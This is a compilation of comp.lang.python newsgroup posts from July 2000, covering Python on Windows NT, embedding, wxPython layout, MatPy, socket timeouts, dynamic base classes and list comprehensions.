
Threads work very well on NT.

>- then I fork 
>in the child I change it's userID (os.setuid()) and replace it by
>os.exec()
>the parent reads the stderr and stdout from the started program ( like
>popen2.popen3() ) 

You've got both technical and cultural problems here. There is no fork. If 
you use the Win32 extensions you can change the user id (never done this, 
so don't ask me for details), but be prepared for the fact that this kind 
of stuff *means* something different on NT - the models just aren't the 
same. There's also less reason to need it - between NT and the typical NT 
configuration, many things that would require setuid on *nix can be done by 
any wazoo on Windows.

>Last but not least I use sockets (a derived server from SocketServer.py) 

Sockets work fine. Select also works fine, but works *only* on sockets (eg 
if you're selecting on the pipes returned from popen3, you've got a 
problem).

- Gordon


From matt at nightrealms.com  Tue Jul 18 20:47:28 2000
From: matt at nightrealms.com (Matthew Cline)
Date: Tue, 18 Jul 2000 16:47:28 -0800
Subject: Newbies trying to do a build script
References: <8l1o61$n45$1@nnrp1.deja.com>
Message-ID: <k56d5.2080$mL5.81696@news-west.usenetserver.com>

In article <8l1o61$n45$1 at nnrp1.deja.com>, John Urberg
<jurberg at my-deja.com> wrote:

> Hi all,
> 
> I am working on a project with a couple of other developers and we
> are all new to scripting languages.  We need to create a build
> script to build an application that consist of C++ and Java code. 
> We have some Perl resources in another group, but I would prefer
> doing it in Python.  I was hoping someone here could point me to
> some examples of build scripts in Python to get us going quickly.

So you're doing something that autoconf, automake, configure and so
forth can't handle?  (Assuming that you're working on UNIX) If you are
working on UNIX, look at
http://www.gnu.org/gnulist/production/autoconf.html and
http://www.gnu.org/gnulist/production/automake.html

If you're working on Windows...  Hrm, has anyone ported autocnof and
automake to Windows?




From alex at magenta.com  Wed Jul  5 11:49:14 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 5 Jul 2000 17:49:14 +0200
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com> <u7lb07is1.fsf@foreignkey.com>
Message-ID: <8jvllp017g1@news1.newsguy.com>

Paul Jensen <usenet at foreignkey.com> wrote in message
news:u7lb07is1.fsf at foreignkey.com...
    [snip]
> I wanted to include a reference to the "%" operator in the online
> docs, but interestingly couldn't find one. Anyone know offhand where
> "%" is covered in the docs?

http://www.python.org/doc/tut/node9.html

It might be nice to be able to point more precisely by
adding a "#something", but it seems the tutorial has no
such anchors within chapters; so, one just says "about
midway through the chapter", I guess.


Alex




From paul at prescod.net  Mon Jul 10 18:06:11 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 10 Jul 2000 17:06:11 -0500
Subject: Making tabs illegal
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com> <20000708005527.L26534@xs4all.nl> <8kcjqn$k7v$1@nnrp1.deja.com>
Message-ID: <396A48D3.3490C344@prescod.net>

Forrest Cahoon wrote:
> 
> ...
> 
> The issue is being able to enforce a particular coding style in a
> development environment.  For that reason, it's better to have it
> compiled in than to be a command-line switch.

Guido has proposed that all of Python's command line options should be
gettable and settable from Python code. If that became a reality, then
you could merely install a "site.py" that does what you want. Rather
than distributing/installing a whole new interpreter, you would
distribute/install that one file.

Do you want to design the command line option setting/getting API?

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Computer Associates is expected to come in with better than expected 
earnings." Bob O'Brien, quoted in
	- http://www.fool.com/news/2000/foth000316.htm



From cg at gaia.cdg.acriter.nl  Thu Jul 27 13:04:29 2000
From: cg at gaia.cdg.acriter.nl (Cees de Groot)
Date: 27 Jul 2000 19:04:29 +0200
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <8ln84n$380$1@gaia.cdg.acriter.nl> <njLf5.12964$4p3.101185@news-server.bigpond.net.au>
Message-ID: <8lpq2t$fpm$1@gaia.cdg.acriter.nl>

Mark Hammond <MarkH at ActiveState.com> said:
>Not sure what point you are trying to make here?  These, plus others, are
>also on .NET.  You should have listed languages that people have heard of,
>and are not announced for .NET.  Maybe you had the "TRS-80 Model 1 BASIC
>Interpreter" implementation in mind?

Cool. When's the Linux version due?
-- 
Cees de Groot               http://www.cdegroot.com     <cg at cdegroot.com>
GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD  1986 F303 937F E098 9E8B
Forge your CipherSaber and list it: http://www.xs4all.nl/~cg/ciphersaber/


From alex at magenta.com  Tue Jul  4 09:42:54 2000
From: alex at magenta.com (Alex Martelli)
Date: Tue, 4 Jul 2000 15:42:54 +0200
Subject: Class design: accessing "private" members
References: <962352843.1667731268@news.libertysurf.fr> <8jhuvn01vs0@news2.newsguy.com> <962367319.379353174@news.libertysurf.fr> <395D79FE.4E4FDBCE@colconsulting.com> <8jplbd0l5c@news2.newsguy.com> <8jqnpe$vao$1@nnrp1.deja.com>
Message-ID: <8jsptm0sk7@news2.newsguy.com>

Fr?d?ric van der Plancke <fplancke at my-deja.com> wrote in message
news:8jqnpe$vao$1 at nnrp1.deja.com...
> In article <8jplbd0l5c at news2.newsguy.com>,
>   "Alex Martelli" <alex at magenta.com> wrote:
>
> > Such "prohibition" is not hard at all:
> >
> > class dontderive:
> >     def __init__(self):
> >         if self.__class__ != dontderive:
> >             raise "told you not to!"
> >
> > class foo(dontderive):
> >     pass
> >
>
> #but...
>
> class bypassing_prohibition(dontderive):
>    def __init__(self):
>        pass
>
> eh = bypassing_prohibition()
>
> #this works because __init__ never automatically calls the __init__
> #method of base classes...

You're perfectly right, of course.  It's easy, but it can
just as easily be fooled by the would-be-deriver.  Python
is not about programmers warring with each other, the
framework supplier trying to stop things and the framework
client finding clever workarounds; look into C++ or Java
if you want that:-).

If it were, the "if self.__class__" test might be repeated
at entry of each method of dontderive, of course:-).

This only reinforces my main contention that the best
way to stop framework-users from deriving is a line or
two to that effect in the documentation!-)


Alex





From hzhu at knowledgetrack.com  Fri Jul  7 15:42:58 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Fri, 07 Jul 2000 19:42:58 GMT
Subject: MatPy-0.2.10 released: Matrix package for Python
Message-ID: <slrn8mccse.3ov.hzhu@rocket.knowledgetrack.com>

Release Note:

0.2.10 fixes bugs in Windows.

This affects other users as well because the file gnuplot.py is renamed to
gplot.py to avoid name clashes in Windows.

This now definitely works in Windows NT, as I have tested. Just 'make
installmod' is sufficient for use in Python.

Under CygWin, simply typing 'make install' get me as far as generating the
postscript docs with all the graphics. Had I installed ps2pdf and latex2html
it would go all the way through.


------------------------------------------------------------------
from README file:

       MatPy -- Matrix package for Python with MatLab-like interface 
                     http://MatPy.sourceforge.net
    
           (C) 2000 Huaiyu Zhu <hzhu at users.sourceforge.net>
    
                     GNU Public License version 2
                (http://www.gnu.org/copyleft/gpl.txt)
    

MatPy is a python package that provides MatLab-like interface for linear
algebra and plotting wrapped around the Numeric, Gnuplot and SpecialFuncs
packages.  The expressions involving matrices and vectors resemble written
mathematics.

The following are some highlights (as compared with Numeric package):

  o row vector = 1xn matrix, col vector = nx1 matrix
  o 1x1 matrix becomes number
  o slicing A[:,0], A[0,:] gives col and row vectors
  o assembles block matrices from submatrices
  o A+B, A-B, A*B, A/B and A**n are as in linear algebra
  o matrix functions expm, sqrtm, ...
  o complex matrices behave correctly for both matrix and element functions.
  o provide special methods for element-wise operations
  o easy interface to gnuplot
  o accepts NaN and Inf
  o a MatLab-like interactive console (with help, demo, ...)
  o uses special functions from cephes
  o classes of probability distributions
  o user specified format for matrix elements


Background:
----------

Python is very elegant for OO programming but its Numeric package has a
tricky interface for numerical linear algebra.  On the other hand MatLab (or
its open source cousin Octave) are well tailored for such tasks.  It is not
clear to me how to interface python with Octave.  So I wrote this package to
provide a MatLab-like interface wrapped around Numeric.


-- 

Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From wolfgang.thaemelt at orsoft.de  Tue Jul 25 23:14:18 2000
From: wolfgang.thaemelt at orsoft.de (Wolfgang Thaemelt)
Date: Wed, 26 Jul 2000 05:14:18 +0200
Subject: COM object with events and GUI update
Message-ID: <000001bff6af$9613e860$a5dfdfdf@ors-x-wt1.or_soft.de>

I am using a COM object that fires events. Data I received in the event handler
should be used to update a Tcl/Tk GUI.

To do this I use the following code structure:

events = [list_with_event_information]

class ORSSystemEvents: # event handler
    def OnChanged(self, ChangeType):
       global events
       events.append("ORSSystem OnChanged event " + str(len(events)))
       ...
       return

def update():                     # update main window  - show event info
    global events, ...

    # prepare data for GUI from events list
    ...
    root.update_idletasks()
    root.after(500, update)
    return

ident   = win32com.client.DispatchWithEvents("ORS.Ident",ORSIdentEvents)

# build GUI

root.after(500, update)
root.mainloop()

This code works but seems to be a bit dangerous.

Is there a way to update the GUI directly from the OnChanged event handler? All
my attempts to do this failed.

Can I avoid the use of the after(...) method?

Is there some extended documentation about event firing and handling available?

Thanks for help.

Wolfgang Thaemelt


OR Soft Jaenicke GmbH
Geusaer Str., FH Geb. 106
06217 Merseburg
Germany
======================================
Email: wolfgang.thaemelt at orsoft.de
Voice: +49-3461-549033
Fax:   +49-3461-549022




From leo at iems.nwu.edu  Mon Jul 24 12:22:45 2000
From: leo at iems.nwu.edu (Leonardo B. Lopes)
Date: Mon, 24 Jul 2000 11:22:45 -0500
Subject: Embedding Example
Message-ID: <397C6D55.6F7C@iems.nwu.edu>

I am trying to learn how to embed Python code in a C++ program. I got
the example from the docs (the one that imports sys and prints out a
couple of strings -- search from initxyzzy in google). The problem I get
is that if I try to import any non-built in module, I get dynamic
linking errors. For example, adding the following line 31 works:

_______________________________________________________________________
...
     29         /* Execute some Python statements (in module __main__)
*/
     30         PyRun_SimpleString("import sys\n");
-->  31         PyRun_SimpleString("import thread\n");
     32         PyRun_SimpleString("print sys.builtin_module_names\n");
...
_______________________________________________________________________

but adding the following line instead:

_______________________________________________________________________
...
     29         /* Execute some Python statements (in module __main__)
*/
     30         PyRun_SimpleString("import sys\n");
-->  31         PyRun_SimpleString("import random\n");
     32         PyRun_SimpleString("print sys.builtin_module_names\n");
...
_______________________________________________________________________

produces:

_______________________________________________________________________
[lopes at groucho lopes]$ ./demo 
Hello, brave new world

Traceback (innermost last):
  File "<string>", line 1, in ?
  File "/usr/lib/python1.5/random.py", line 22, in ?
    import whrandom
  File "/usr/lib/python1.5/whrandom.py", line 140, in ?
    _inst = whrandom()
  File "/usr/lib/python1.5/whrandom.py", line 46, in __init__
    self.seed(x, y, z)
  File "/usr/lib/python1.5/whrandom.py", line 58, in seed
    import time
ImportError: /usr/lib/python1.5/lib-dynload/timemodule.so: undefined
symbol: PyExc_IOError
('__builtin__', '__main__', 'imp', 'marshal', 'pcre', 'posix', 'regex',
'signal', 'sys', 'thread')
['xyzzy', 'os.path', 'os', 'exceptions', '__main__', 'posix',
'whrandom', 'sys', '__builtin__', 'site', 'random', 'signal',
'UserDict', 'posixpath', 'stat']
./demo
['./demo']
_______________________________________________________________________

I can imagine that for some reason there is some directory configuration
missing to the interpreter when I start it embedded. How would I pass it
this info?

Thanks!
Leo.



-- 
========================================================================
Leonardo B. Lopes                                       leo at iems.nwu.edu 
Ph.D. Student                                              (847)491-8470
IEMS - Northwestern University              http://www.iems.nwu.edu/~leo


From grey at despair.rpglink.com  Fri Jul 28 11:08:12 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 15:08:12 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <dp3dkulamd.fsf@mraz.iskon.hr>
Message-ID: <slrn8o38ap.3ok.grey@teleute.rpglink.com>

On 28 Jul 2000 14:09:30 +0200, Hrvoje Niksic <hniksic at iskon.hr> wrote:
>I sort of hope you're trolling here.

    No, I am not.

>For me, 1 and "1" are clearly not two numbers.  The former is a
>number, the latter a string consisting of the character "1".  Saying
>that they are numbers because we "see" they're numbers is like
>insisting one 1 + "one" to return 2 because "one" is so obviously a
>number.

    You see that only because you are a programmer and have gotten used to the
concept of types.  I, too, am a programmer and I reject the concept of types
because to the human that concept is meaningless.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From moshez at math.huji.ac.il  Mon Jul 10 07:13:35 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Mon, 10 Jul 2000 14:13:35 +0300 (IDT)
Subject: [Python-Help] imp.load_module from a string
In-Reply-To: <3969AC50.98F36FF4@nipltd.com>
Message-ID: <Pine.GSO.4.10.10007101409420.15573-100000@sundial>

On Mon, 10 Jul 2000, Chris Withers wrote:

> Thanks for the help so far :-)
> 
> Okay, another question: What is the difference between the contents of a
> .pyc file and what is returned by compile(str,'notafile','exec')?

Some bureaucracy in the header file.
(Of course, I take it to be the difference beween the *marshal* of
whatever is returned by compile)

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.




From olivierS.dagenaisP at canadaA.comM  Sat Jul 15 00:16:02 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sat, 15 Jul 2000 04:16:02 GMT
Subject: wxNotebook in a wxWindow doesn't stretch
References: <slrn8mv8ef.1sd.jack@tornado.sh.cvut.cz>
Message-ID: <6ARb5.109203$HK2.1927918@news20.bellglobal.com>

I've only recently started to learn wxPython, but I think I might have hit a
similar problem:

I had trouble getting constraints to make a number of controls sit side by
side, having widths that were proportional to the width of the entire frame.

Now, the only way to get it going was to embed the controls in ANOTHER
container, which is placed on the wxFrame that is your main application.
So, instead of creating a wxApp that contained a wxFrame that contained the
controls, I had to create a wxApp, that contained a wxFrame, that contained
a wxPanel (or maybe another wxFrame), which contained the controls.

Maybe it's a wxPython issue and you don't need to create as many levels in
pure wxWindows, or perhaps it's a wxWindows bug in itself (or bug in the MS
Windows implementation of wxWindows), but that's my experience with getting
a control (I guess I really sbould be calling them 'widgets') to resize
nicely with the main window.

I've seen the author of wxPython (Robin Dunn?) post in this newsgroup, so
maybe he'd be able to shed some light on this. (???)

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Jan Fedak" <jack at tornado.sh.cvut.cz> wrote in message
news:slrn8mv8ef.1sd.jack at tornado.sh.cvut.cz...
>
> hi.
>
>
> I am lost. After few hours of trying to solve it, I give up...
>
> I have following piece of code (modified, shortened...):
>
> class MainWindow(wxFrame):
>
>     def __init__(self, parent, id, title):
>         wxFrame.__init__(self, parent, id, title, size = (800, 600),
>                          style=wxDEFAULT_FRAME_STYLE|
> wxNO_FULL_REPAINT_ON_RESIZE)
>
>         self.CreateStatusBar(1, wxST_SIZEGRIP)
>
> # is ksSPLIT is set, we split main window horizontally into two
> # subwindows
> if ksSPLIT:
>     self.splitter = wxSplitterWindow(self, -1, style=wxNO_3D|wxSP_3D)
>     self.leftWin = self.splitter
>     self.desktopFrame = wxWindow(self.splitter, -1)
>     self.desktopFrame.SetBackgroundColour(wxNamedColour("Pink"))
> else:
>     self.splitter = None
>     self.leftWin = None
>     self.desktopFrame = self
>
> # the following code won't reside in constructor later!
> # I need the desktopWin placed IN desktopFrame so that it occupies the
> # whole area of it
> # desktopWin may look differently depending on the application,
> # when no desktopWin is set up, desktopFrame should be visible
>
> self.desktopWin = wxNotebook(self.desktopFrame, -1)
> txt = wxTextCtrl(self.desktopWin, -1,
> style = wxTE_MULTILINE|wxTE_READONLY|wxHSCROLL)
> self.desktopWin.AddPage(txt, "Overview")
>
> sizer = wxBoxSizer(wxHORIZONTAL)
> sizer.Add(self.desktopWin, 1, wxEXPAND | wxALIGN_CENTER, 5)
> self.desktopFrame.SetAutoLayout(true);
> self.desktopFrame.SetSizer(sizer);
> #sizer.Fit(self.desktopFrame)
>
>         self.Show(true)
>
> if ksSPLIT:
>     self.splitter.SplitVertically(self.leftWin, self.desktopFrame)
>     self.splitter.SetSashPosition(180, true)
>     self.splitter.SetMinimumPaneSize(20)
>
>
> # a jeste pocatecni formular a jeho pracovni podminky
> self.aktivniFormular = None
> self.desktopWin  = None
>
>
> now, when I set ksSPLIT = 0, everything works just fine. the desktopWin
> occupies the whole area of desktopFrame (== self). but as soon as I change
> ksSPLIT = 1, desktopWin takes only a very small area of desktopFrame
(about
> 10x10 pixels) and it won't scale with the desktopFrame.
>
> thanks for your help.
> Jan
>
> --
>   Jan Fedak                            talk:jack at tornado.sh.cvut.cz
>   mailto:J.Fedak at sh.cvut.cz                    mailto:jack at mobil.cz
>                 Linux - the ultimate NT Service Pack.




From theebh at yahoo.com  Wed Jul 26 12:09:57 2000
From: theebh at yahoo.com (Jonathan)
Date: Wed, 26 Jul 2000 16:09:57 GMT
Subject: newbie q: pythonwin editor
Message-ID: <8ln2gf$ouq$1@nnrp1.deja.com>

Hi, i have just installed pythonwin(as i plan to do most of my
programming on windows). I notice that on the interactive screen you
can change the tab size(e.g. from 8 to 4) and it will automatically add
tabs for you. However, when i try to create a new python script, the
text editor that pops out does not add tabs automatically. I couldn't
found any solution from its help system; does anyone knows how
to 'toggle' the feature on?

Or do you recommend other text editor that is more suitable for coding
python? I know there's a webpage somewhere that lists out the various
text editors available, but i would like to know your opinion(based on
your experience). TIA.

regards,
jonathan


Sent via Deja.com http://www.deja.com/
Before you buy.


From m.faassen at vet.uu.nl  Thu Jul 20 07:58:21 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 20 Jul 2000 11:58:21 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net>
Message-ID: <8l6pgt$fmc$1@newshost.accu.uu.nl>

In comp.lang.python Moritz Voss <nospam at buzzoff.com> wrote:

> "Martijn Faassen" <m.faassen at vet.uu.nl> schrieb im Newsbeitrag
> news:8l4isr$l58$2 at newshost.accu.uu.nl...
[snip]
>> So no, you don't have to do all that; Python already includes a compiler
>> and interpreter that can be embedded into your game.

> HOW FAST ARE THESE? <drool>

Python's not amazingly fast by itself.

Note that the speed of the compiler doesn't matter much; it's near
instantaneous, but since it outputs bytecodes and you can use those,
the speed of the interpreter is what really matters, and the interpreter
isn't too fast.

Python is a very dynamic language, and its nature makes some optimizations
rather hard to do.  That said, Python's basic built-ins like lists and
hashes, as well as lots of its standard library is implemented in C.

There have been good results with offloading anything that takes time
onto C, and integrating this with a higher-level Python interface so
the core components can be scripted easily. Since the lore is that 90% of
the time is spent in 10% of the code or somesuch, you just need to do
10% of the code in C. :)

>From a game programming perspective, you can probably consider Python to
be dirt-slow, though. The trade-off is a lot of power for speed, but
that power can help you gain back speed because you can be a lot smarter.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From bazsi at balabit.hu  Mon Jul 24 06:06:41 2000
From: bazsi at balabit.hu (Balazs Scheidler)
Date: Mon, 24 Jul 2000 12:06:41 +0200
Subject: dynamic bases
In-Reply-To: <sngsvp186tt7@corp.supernews.com>; from speed@?.com on Fri, Jul 21, 2000 at 04:02:01PM +0000
References: <20000721171635.B1431@balabit.hu> <sngsvp186tt7@corp.supernews.com>
Message-ID: <20000724120641.B6030@balabit.hu>

> >So what I basically want is to add a set of methods/attributes to an
> >instance dynamically, so that the methods added can access the
> >attributes of the original instance. My original idea was the following:
> 
> This looks like a job for the 'new' module!
> 
> import new
> 
> class Object:
>     a = 5
> 
>     def __init__(self):
>         self.bonus_method = {}
> 
>     def __getattr__(self, name):
>         if self.bonus_method.has_key(name):
>             return new.instancemethod(self.bonus_method[name], 
>                    self, self.__class__)
>         else:
>             raise AttributeError, name
> 
> def think(self, x):
>     print 'self.a =', self.a, ': x =', x
> 
> a = Object()
> 
> think(a, 1)
> 
> a.bonus_method['think'] = think
> 
> a.think(2)
> 
> 
> 
> ...so why not just say
>   a.think = new.instancemethod(think, a, a.__class__) ?
> ...because this sets up a cicrular reference between
> the object and the new method, and they will never get 
> garbage collected.  If you generate the method in __getattr__,
> the object never holds on to the method reference.

Thanks, you gave me a good idea. I implemented it using new.classobj() and
changed the class object of my instance. This may be ugly as an
implementation, but using it is much easier than having to muck with a hash
to poke function references into.

So for the sake of the archives here's the exact line I used:

self.__class__ = new.classobj(self.__class__.__name__, \
			      self.__class__.__bases__ + (klass,), \
			      self.__dict__)

where klass is a class-object to add to my set of base classes.

-- 
Bazsi
PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1
     url: http://www.balabit.hu/pgpkey.txt



From paul at prescod.net  Sun Jul 23 10:28:08 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 09:28:08 -0500
Subject: Looping on more than one list
References: <3979C6F4.B1FF1800@atlsci.com> <8ldkf7$7km$1@nntp9.atl.mindspring.net> <397A616E.A9549B93@san.rr.com>
Message-ID: <397B00F8.112E7A8D@prescod.net>

Courageous wrote:
> 
> ...
> Perhaps this should be folded into the map function?
> Ala, lisp:
> 
> (map nil #'(lambda (i j) ...) list-one list-two)

It's part of the map function now. But nobody without a Lisp background
would think to look there.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From ralf.claus at teleatlas.com  Wed Jul  5 01:04:31 2000
From: ralf.claus at teleatlas.com (Ralf Claus)
Date: Wed, 05 Jul 2000 07:04:31 +0200
Subject: WinNT User Name
References: <Ae485.94210$5k2.194235@dfw-read.news.verio.net>
Message-ID: <3962C1DF.43E3EBDB@teleatlas.com>

michael montagne wrote:
> 
> First off, I'm a newbie at Python.
> I'm trying to return the user who is logged on at a PC.  What I really need
> is the login name.  How do I do that?  Seems like it otta be quite simple
> but I'm having trouble.
> 
> -mjm

..and finally

import getpass
username = getpass.getuser()

works on both systems (NT,UNIX), if you need.


From db3l at fitlinxx.com  Mon Jul 24 14:08:25 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 24 Jul 2000 14:08:25 -0400
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu> <T1Ze5.9877$r4.5093@news.indigo.ie>
Message-ID: <uya2rpfja.fsf@ctwd0143.fitlinxx.com>

gerryq at indigo.ie (Gerry Quinn) writes:

> In article <8lh588$oti$3 at news.fsu.edu>, Ronald Steedman <steedman at quake.cs.fsu.edu> wrote:
> > A full compile of a complex software package can often take 30 seconds or
> > more. That can be frustrating when you're trying to find and remove bugs.
> > You try one thing, wait 30 seconds, try another thing, wait 30 seconds...
> >
> > Imagine how an intepreter would help. Try one thing IMMEDIATELY SEE THE
> > RESULT... try another thing IMMEDIATELY SEE THE RESULT... then you only
> > compile the application when you're finished and want a faster program.
> 
> If I were your boss I would make sure you had no access to an 
> interpreter!  I would even slow down your compilation by giving you an 
> older machine ;-)
> Changing things at random and hoping the problem goes away is not the 
> way to fix bugs.

Where in the above did he say "random" and "hope"?  Being able to
iteratively and interactively make changes hardly has to impact the
methodology used in arriving at those changes to be made.

Or are you saying that the use of a compiler would remove the need to
ever iterate more than once on a bug fix?  I'm not sure I'd agree :-)

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From jeanbergeron at hotmail.com  Thu Jul 27 12:04:33 2000
From: jeanbergeron at hotmail.com (Jean Bergeron)
Date: Thu, 27 Jul 2000 16:04:33 GMT
Subject: Socket question: arbitrary port?
Message-ID: <39805D19.C005F16F@hotmail.com>

Is it possible to connect a socket through an arbitrary port?
In other words, can Python find an available port without having the
programmer (or user) specify a particular port number?

Any help would be appreaciated!
Thanks!



From timo at alum.mit.edu  Sun Jul 30 20:54:23 2000
From: timo at alum.mit.edu (Timothy O'Malley)
Date: Sun, 30 Jul 2000 20:54:23 -0400
Subject: [ANN] TCP socket timeout module --> timeoutsocket.py
Message-ID: <300720002054234840%timo@alum.mit.edu>

Numerous times I have seen people request a solution for TCP socket
timeouts in conjunction with urllib.  Recently, I found myself in the
same boat.  I wrote a server that would connect to skytel.com and send
automated pages.  Periodically, the send thread in the server would
hang for a long(!) time.  Yup -- I was bit by a two hour timeout built
into tcp sockets.

Thus, I wrote timeoutsocket.py

With timeoutsocket.py, you can force *all* TCP sockets to have a
timeout.  And, this is all accomplished without interfering with the
standard python library!

Here's how to put a 20 second timeout on all TCP sockets for urllib:

   import timeoutsock
   import urllib
   timeoutsocket.setDefaultSocketTimeout(20)

Just like that, any TCP connection made by urllib will have a 20 second
timeout.  If a connect(), read(), or write() blocks for more than 20
seconds, then a socket.Timeout error will be raised.

Want to see how to use this in ftplib?

   import ftplib
   import timeoutsocket
   timeoutsocket.setDefaultSocketTimeout(20)

Wasn't that easy!
The timeoutsocket.py module acts as a shim on top of the standard
socket module.  Whenever a TCP socket is requested, an instance of
TimeoutSocket is returned.  This wrapper class adds timeout support to
the standard TCP socket.

Where can you get this marvel of modern engineering?

   http://www.timo-tasi.org/python/timeoutsocket.py

And it will very soon be found on the Vaults of Parnassus.

Good Luck!

-- 
--
happy daze
  -tim O


From bjorn at roguewave.com  Fri Jul  7 13:52:33 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 07 Jul 2000 11:52:33 -0600
Subject: how to mimic interactive
References: <Pine.LNX.4.21.0007071801530.2217-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <396618E1.B54D8D6A@roguewave.com>

You could always do 

   exec 'print ' + raw_input(prompt)

perhaps with a test to see whether the user typed print...  You should
also take a look at the code module, and perhaps also the PyShell.py
file in Idle.

-- bjorn

Johannes Zellner wrote:
> 
> Hello,
> 
> how do I design an interactive input loop so that it
> feels like called python interactively ? (e.g. prints
> results of math operations)
> 
> e.g. in a script
> 
> while 1:
>     exec raw_input(prompt)
> 
> if I run this script and type
>     2*3
> 
> at the input prompt it does not print the result
> as in the interactive python interp.
> 
> Short: where do I find the input loop implementation
> for interactive python `shells' ?
> 
> --
>    Johannes
> 
> --
> http://www.python.org/mailman/listinfo/python-list



From guido at beopen.com  Sat Jul 29 11:08:32 2000
From: guido at beopen.com (Guido van Rossum)
Date: Sat, 29 Jul 2000 15:08:32 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <vph66pq18j2.fsf@hiirihaukka.cs.tut.fi>
Message-ID: <cplmykex5e.fsf@cj20424-a.reston1.va.home.com>

Vespe Savikko <vespe at cs.tut.fi> writes:

>       http://www.pythonlabs.com/talks.html
>   
> The first example on slide 14, List Comprehensions:
> 
> [(x, x**2) for x in range(5)] 
>      -> [(0,0), (1,1), (4,4), (9,9), (16,16)]
> 
> My intuition says the result should be:
> 
>      -> [(0,0) ,(1,1), (2,4), (3,9), (4,16)]

Oops.  That's definitely a typo.  I'll see what I can do about fixing
this!

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From hzhu at localhost.localdomain  Thu Jul 20 19:58:05 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Thu, 20 Jul 2000 23:58:05 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu> <slrn8nevfr.d8.bmcd@ripley.sulaco.net>
Message-ID: <slrn8nf4ne.rb.hzhu@localhost.localdomain>

On 20 Jul 2000 22:29:10 GMT, Ben Caradoc-Davies <bmcd at es.co.nz> wrote:

>
>I agree. Using Python's object capabilities is better than messing with the
>grammar. Although I must say the (*) forms are by far the least bad. As far as
>I'm concerned, Matlab is a poor example to follow. I've seen a number of people
>burnt by the differences between A' (adjoint) and A.' (transpose), for example. 
>

We are not going to follow everything in matlab, but it does provide a good
example for doing a lot of things. For the operations mentioned so far, the
current MatPy interface is (with minor changes that I haven't got time to
check in)

matrix      element 
 a+b         a.+b
 a-b         a.-b
 a*b         a.*b
 a/b         a./b
 sol(a,b)    none
 a**b        a.**b

 sinm(a)     sin(a)
 cosm(a)     cos(a)
 expm(a)     exp(a)
 sqrtm(a)    sqrt(a)
 ....        ...

 a.I   inverse
 a.T   transpose
 a.H   hermitian transpose
 a.C   conjugate
 
 kron(a,b)   kronicker product
 cross(a,b)  cross product (only for 3-vector)
 lie(a,b)    lie product
 ....

This is largely consistent with matlab, where I see the largest userbase
lies.  I think with the addition of just a few dozen more functions similar
to the above it already provides the majority of functionality of octave,
which perhaps have as much followers as python itself.

This in no way means that NumPy users need to change a single line of code.
In fact, because using a.__dotmul__(b) is rather tedious, I choose to cast
into NumPy arrays when there are elementwise operations in a large chunk of
code. The confusion only arrises when one needs to cast to and forth within
expressions, but it wouldn't be necessary with the new operators available.

As far as I know, many NumPy users do not feel the need for matrixwise
operators quite often and using matrixmultiply is not great pain.  When the
need is greater (eg when there are a lot of matmul in a big chunk of code)
an explicit cast into MatPy matrices may also be convenient.


Huaiyu


From ecastro at cicei.ulpgc.es  Thu Jul 27 14:12:45 2000
From: ecastro at cicei.ulpgc.es (Enrique)
Date: 27 Jul 2000 18:12:45 +0000
